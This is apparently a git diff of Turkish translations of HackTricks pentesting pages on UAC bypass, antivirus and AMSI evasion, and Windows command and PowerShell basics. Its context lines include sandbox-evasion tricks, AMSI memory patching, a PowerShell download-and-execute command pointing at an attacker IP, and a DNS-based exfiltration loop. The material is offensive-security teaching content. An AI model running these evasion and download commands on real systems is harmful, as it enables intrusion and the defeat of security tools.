+**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü niyetli dll'yi _C:\Windows\System32_ içine yazmak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/).
 
-1. **Autoelevate** olacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
+1. **Otomatik yükseltme** yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
 2. Procmon ile **DLL Hijacking**'e karşı savunmasız olabilecek "**NAME NOT FOUND**" olaylarını bulun.
-3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde yazma izinlerinizin olmadığı **DLL'yi yazmanız** gerekecek. Bunu aşmak için:
-   1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya izin verir (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
+3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde DLL'yi **yazmanız** gerekecek, burada yazma izinleriniz yok. Bunu aşmak için:
+   1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
    2. **IFileOperation**: Windows 10.
-4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve autoelevated ikili dosyayı çalıştırmak için bir **script** hazırlayın.
+4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir **script** hazırlayın.
 
 ### Başka bir UAC bypass tekniği
 
-Bir **autoElevated ikili dosyanın** **kayıttan** **okumaya** çalışıp çalışmadığını izlemeyi içerir; **çalıştırılacak** bir **ikili dosyanın** veya **komutun** **adı/yolu** (bu, ikili dosya bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir). 
+Bir **autoElevated binary**'nin **kayıttan** bir **ikili dosyanın** veya **komutun** **adını/yolunu** **okumaya** çalışıp çalışmadığını izlemeyi içerir (bu, ikili dosya bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir). 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
index b5a23cc52..ff4ce0fdf 100644
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@@ -25,7 +25,7 @@ Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizel
 Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
 
 > [!NOTE]
-> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanmaktır. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'a her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
+> Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla segmente ayırır ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
 
 Pratik AV Kaçınma hakkında bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim.
 
@@ -33,15 +33,15 @@ Pratik AV Kaçınma hakkında bu [YouTube çalma listesine](https://www.youtube.
 
 Dinamik analiz, AV'nin ikili dosyanızı bir kumanda kutusunda çalıştırması ve kötü niyetli etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha karmaşık olabilir, ancak kumanda kutularını aşmak için yapabileceğiniz bazı şeyler var.
 
-- **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV kumanda kutusunun, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir.
+- **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini aşmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun şu ki, birçok AV kumanda kutusu, nasıl uygulandığına bağlı olarak uyku süresini atlayabilir.
 - **Makinenin kaynaklarını kontrol etme** Genellikle kumanda kutuları çalışmak için çok az kaynağa sahiptir (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kumanda kutusunda uygulanmayabilir.
-- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızın çıkmasını sağlayabilirsiniz.
+- **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilirsiniz. Eğer belirttiğinizle eşleşmiyorsa, programınızı kapatabilirsiniz.
 
-Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızın çıkmasını sağlayabilirsiniz.
+Microsoft Defender'ın Kumanda Kutusu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz. Eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kumanda kutusunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
 
 

kaynak: https://youtu.be/StSLxFbVz0M?t=1439

-Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit) tarafından verilen bazı gerçekten iyi ipuçları +Kumanda kutularına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'den bazı gerçekten iyi ipuçları

Red Team VX Discord #malware-dev kanalı

@@ -49,7 +49,7 @@ Bu yazıda daha önce söylediğimiz gibi, **kamu araçları** sonunda **tespit Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa LSASS'ı döken daha az bilinen farklı bir projeyi mi kullanabilirsiniz? -Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılımlardan biridir, proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın. +Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılımlardan biridir ve proje kendisi süper havalı olsa da, AV'leri aşmak için çalışmak bir kabus haline gelebilir, bu nedenle ulaşmaya çalıştığınız şey için alternatifler arayın. > [!NOTE] > Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapatmayı** unutmayın ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin. @@ -58,7 +58,7 @@ Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV' Mümkün olduğunda, her zaman **kaçınma için DLL'leri kullanmayı önceliklendirin**, deneyimlerime göre, DLL dosyaları genellikle **çok daha az tespit edilir** ve analiz edilir, bu nedenle bazı durumlarda tespiti önlemek için kullanmak için çok basit bir hiledir (tabii ki yükünüzün bir DLL olarak çalıştırılma yolu varsa). -Bu resimde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir. +Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir.

antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması

@@ -66,7 +66,7 @@ Bu resimde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/2 ## DLL Sideloading & Proxying -**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü niyetli yükleri yan yana konumlandırır. +**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü niyetli yüklemeleri yan yana konumlandırır. DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell betiğini kullanabilirsiniz: ```powershell @@ -81,7 +81,7 @@ Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların Sadece bir programın yüklemeyi beklediği isimde kötü niyetli bir DLL yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız. -**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları ileterek, programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir. +**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den yaptığı çağrıları orijinal DLL'ye yönlendirir, böylece programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir. [@flangvik](https://twitter.com/Flangvik/) tarafından [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım. @@ -100,7 +100,7 @@ Son komut bize 2 dosya verecek: bir DLL kaynak kodu şablonu ve orijinal yeniden ```
-Hem shellcode'umuz (encoded with [SGN](https://github.com/EgeBalci/sgn)) hem de proxy DLL, [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım. +Hem shellcode'umuz ( [SGN](https://github.com/EgeBalci/sgn) ile kodlanmış) hem de proxy DLL, [antiscan.me](https://antiscan.me) üzerinde 0/26 Tespit oranına sahip! Bunu bir başarı olarak adlandırırım.
@@ -109,9 +109,9 @@ Hem shellcode'umuz (encoded with [SGN](https://github.com/EgeBalci/sgn)) hem de ## [**Freeze**](https://github.com/optiv/Freeze) -`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir payload toolkit'tir.` +`Freeze, askıya alınmış süreçler, doğrudan syscalls ve alternatif yürütme yöntemleri kullanarak EDR'leri atlatmak için bir yük aracı takımıdır` -Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve çalıştırmak için kullanabilirsiniz. +Freeze'i shellcode'unuzu gizli bir şekilde yüklemek ve yürütmek için kullanabilirsiniz. ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. @@ -125,7 +125,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ## AMSI (Anti-Malware Scan Interface) -AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarayabiliyordu, bu nedenle bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, AV bunun önüne geçmek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi. +AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarayabiliyordu, bu yüzden bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, AV bunun önüne geçmek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi. AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir. @@ -151,7 +151,7 @@ AMSI'yi aşmanın birkaç yolu vardır: AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir. -Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işiniz tamam, bu da bir şeyin ne kadar işaretlendiğine bağlıdır. +Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırmadan açığa çıkarma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır. - **AMSI Bypass** @@ -183,7 +183,7 @@ Unutmayın ki, bu gönderi yayımlandığında muhtemelen işaretlenecek, bu ned **Bellek Yaması** -Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir. Bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır. +Bu teknik ilk olarak [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır. > [!NOTE] > Daha ayrıntılı bir açıklama için lütfen [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun. @@ -197,10 +197,10 @@ Ya da bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bu script. **C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır: - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır; bu, [kod obfuscation]() ve değiştirilmezlik yoluyla yazılım güvenliğini artırmayı amaçlamaktadır. +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır ve [kod obfuscation]() ve değiştirilmezlik yoluyla yazılım güvenliğini artırmaktır. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod üretmeyi gösterir. - [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler. -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır. +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır. - [**metame**](https://github.com/a0rtega/metame): Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur. - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır. @@ -208,22 +208,22 @@ Ya da bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bu script. ## SmartScreen & MoTW -İnternetten bazı yürütülebilir dosyaları indirip çalıştırdığınızda bu ekranı görmüş olabilirsiniz. +İnternetten bazı yürütülebilir dosyaları indirip çalıştırırken bu ekranı görmüş olabilirsiniz. -Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumayı amaçlayan bir güvenlik mekanizmasıdır. +Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumak amacıyla tasarlanmış bir güvenlik mekanizmasıdır.
-SmartScreen esasen bir itibar temelli yaklaşım ile çalışır; bu, alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir). +SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir). -**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı]() olan Zone.Identifier adında bir akıştır. +**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan bir [NTFS Alternatif Veri Akışı]() olan Zone.Identifier adını taşır ve indirildiği URL ile birlikte gelir.

İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.

> [!NOTE] -> **Güvenilir** bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir. +> **Güvenilir** bir imza sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir. -Payload'larınızın Mark of The Web işaretini almasını önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **NTFS** olmayan hacimlere **uygulanamayacağı** için olur. +Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere uygulanamayacağı için olur.
@@ -280,7 +280,7 @@ Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle il Ayrıca C# Derlemelerini **PowerShell'den** yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosuna](https://www.youtube.com/watch?v=oe11Q-3Akuk) göz atın. -## Diğer Programlama Dilleri Kullanma +## Diğer Programlama Dillerini Kullanma [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) adresinde önerildiği gibi, tehlikeye atılmış makineye **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim vererek** diğer dilleri kullanarak kötü niyetli kod çalıştırmak mümkündür. @@ -290,7 +290,7 @@ Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullana ## Gelişmiş Kaçış -Kaçış çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır. +Kaçış, çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır. Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır. @@ -311,7 +311,7 @@ Aynı şeyi yapan başka bir araç [**avred**](https://github.com/dobin/avred) o ### **Telnet Sunucusu** -Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) yükleyebiliyordunuz: +Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) yükleyerek yapabiliyordunuz: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` @@ -342,7 +342,7 @@ Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ do **UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız -- Zaten çalışıyorsa `winvnc` başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin +- `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin - Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır - Yardım için `winvnc -h` çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz @@ -356,7 +356,7 @@ cd GreatSCT/setup/ cd .. ./GreatSCT.py ``` -GreatSCT İçinde: +GreatSCT'nin içinde: ``` use 1 list #Listing available payloads @@ -488,7 +488,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Python kullanarak enjektörler oluşturma örneği: +### Python kullanarak injector örneği oluşturma: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index cfc01b26b..23836fc9a 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -181,7 +181,7 @@ net localgroup "Power users" UserLoginName /add ``` ## Ağ -### Arayüzler, Yollar, Portlar, Ana Bilgisayarlar ve DNSCache +### Arayüzler, Yollar, Portlar, Ana Bilgisayarlar ve DNS Önbelleği ```bash ipconfig /all #Info about interfaces route print #Print available routes @@ -354,7 +354,7 @@ Ayrıca çıktıyı **yönlendirebilir** ve ardından **okuyabilirsiniz**. whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` -## C kodundan CMD çağırma +## C kodundan CMD'yi çağırma ```c #include /* system, NULL, EXIT_FAILURE */ diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index eeb899fcc..2373ad838 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` -## [İcra Politikası](../authentication-credentials-uac-and-efs/#ps-execution-policy) +## [Yürütme Politikası](../authentication-credentials-uac-and-efs/#ps-execution-policy) ## [Kısıtlı dil](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) @@ -115,7 +115,7 @@ ValueData : 0 ``` ### AMSI atlatma -**`amsi.dll`** sürecinize **yüklenir** ve herhangi bir uygulamanın etkileşimde bulunması için gerekli **ihracatları** içerir. Ve kontrol ettiğiniz bir sürecin bellek alanına yüklendiği için, **bellekteki talimatları geçersiz kılarak** davranışını değiştirebilirsiniz. Böylece hiçbir şeyi tespit etmemesini sağlarsınız. +**`amsi.dll`** sürecinize **yüklenir** ve herhangi bir uygulamanın etkileşimde bulunması için gerekli **ihracatlara** sahiptir. Ve kontrol ettiğiniz bir sürecin bellek alanına yüklendiği için, **bellekteki talimatları geçersiz kılarak** davranışını değiştirebilirsiniz. Böylece hiçbir şeyi tespit etmemesini sağlarsınız. Bu nedenle, AMSI atlatmalarının amacı, **tespiti işe yaramaz hale getirmek için o DLL'nin bellek içindeki talimatlarını geçersiz kılmaktır**. @@ -168,7 +168,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html Detaylı bilgi ve kod için [**bu gönderiyi kontrol edin**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Giriş: -Bu yeni teknik, .NET yöntemlerinin API çağrısı hooking'ine dayanıyor. Görünüşe göre, .NET Yöntemlerinin bellekte yerel makine talimatlarına derlenmesi gerekiyor ve bu da yerel yöntemlere çok benzer bir görünüm kazanıyor. Bu derlenmiş yöntemler, bir programın kontrol akışını değiştirmek için hook'lanabilir. +Bu yeni teknik, .NET yöntemlerinin API çağrısı hooking'ine dayanıyor. Görünüşe göre, .NET Yöntemlerinin bellekte yerel makine talimatlarına derlenmesi gerekiyor ve bu da yerel yöntemlere çok benzer bir görünüm alıyor. Bu derlenmiş yöntemler, bir programın kontrol akışını değiştirmek için hook'lanabilir. .NET yöntemlerinin API çağrısı hooking'ini gerçekleştiren adımlar şunlardır: @@ -227,7 +227,9 @@ $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` -## Alan Recon +[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) + +## Alan Keşfi {{#ref}} powerview.md diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 1a0c04f17..4225cdcae 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -136,7 +136,7 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ``` ### Grup Politika Nesnesi - GPO'lar -Eğer bir saldırganın **bir GPO üzerinde yüksek yetkileri** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir eylemi gerçekleştirmek için bir zamanlanmış görev oluşturarak** bunu **privesc** için kullanabilme ihtimali vardır.\ +Eğer bir saldırganın **bir GPO üzerinde yüksek ayrıcalıkları** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir zamanlanmış görev oluşturarak** (anında) bir eylem gerçekleştirmek için **privesc** yapabilme yeteneği olabilir.\ [**Bununla ilgili daha fazla bilgi ve nasıl istismar edileceği için bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation). ```powershell #GPO diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 1e5b6609b..9d78aee0e 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -7,9 +7,9 @@ ### [Sistem Bilgisi](windows-local-privilege-escalation/#system-info) - [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/#system-info) elde et -- [ ] **kernel** için [**saldırılar aramak**](windows-local-privilege-escalation/#version-exploits) amacıyla **scriptler** kullan -- [ ] **Google ile kernel** **saldırılarını aramak** için kullan -- [ ] **searchsploit ile kernel** **saldırılarını aramak** için kullan +- [ ] **kernel** için [**saldırılar aramak**](windows-local-privilege-escalation/#version-exploits) +- [ ] **Google ile kernel** **saldırılarını aramak** +- [ ] **searchsploit ile kernel** **saldırılarını aramak** - [ ] [**env vars**](windows-local-privilege-escalation/#environment) içinde 